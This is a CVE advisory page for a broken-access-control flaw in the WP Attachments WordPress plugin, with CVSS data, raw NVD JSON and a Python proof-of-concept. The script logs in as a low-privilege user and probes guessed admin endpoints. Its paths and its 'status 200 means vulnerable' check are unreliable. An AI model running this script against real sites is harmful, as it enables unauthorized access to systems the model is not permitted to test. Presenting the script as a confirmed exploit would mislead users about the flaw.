Security Vulnerability Report
中文
CVE-2025-62888 CVSS 5.4 MEDIUM

CVE-2025-62888

Published: 2025-12-31 15:15:54
Last Modified: 2026-04-23 15:34:43

Description

Missing Authorization vulnerability in Marco Milesi WP Attachments wp-attachments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Attachments: from n/a through <= 5.2.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Attachments <= 5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-62888 PoC - WP Attachments Broken Access Control # Target: WordPress site with WP Attachments plugin <= 5.2 def check_vulnerability(target_url, username, password): """ Check if the target is vulnerable to CVE-2025-62888 """ session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Try to access admin-only attachment functions # This demonstrates the broken access control admin_endpoints = [ '/wp-admin/admin.php?page=wp-attachments', '/wp-json/wp-attachments/v1/attachments', '/wp-admin/admin-ajax.php?action=wp_attachments_get_attachments' ] vulnerable = False for endpoint in admin_endpoints: response = session.get(f"{target_url}{endpoint}") # If low-privilege user can access admin functions if response.status_code == 200: print(f"[*] Successfully accessed: {endpoint}") vulnerable = True return vulnerable # Example exploitation if __name__ == '__main__': target = 'http://target-wordpress-site.com' user = 'subscriber' # Low-privilege account password = 'user_password' if check_vulnerability(target, user, password): print('[!] Target is VULNERABLE to CVE-2025-62888') else: print('[-] Target appears to be patched')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62888", "sourceIdentifier": "[email protected]", "published": "2025-12-31T15:15:53.663", "lastModified": "2026-04-23T15:34:43.030", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Marco Milesi WP Attachments wp-attachments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Attachments: from n/a through <= 5.2."}, {"lang": "es", "value": "Vulnerabilidad por falta de autorización en Marco Milesi WP Attachments permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a WP Attachments: desde n/a hasta 5.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-attachments/vulnerability/wordpress-wp-attachments-plugin-5-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}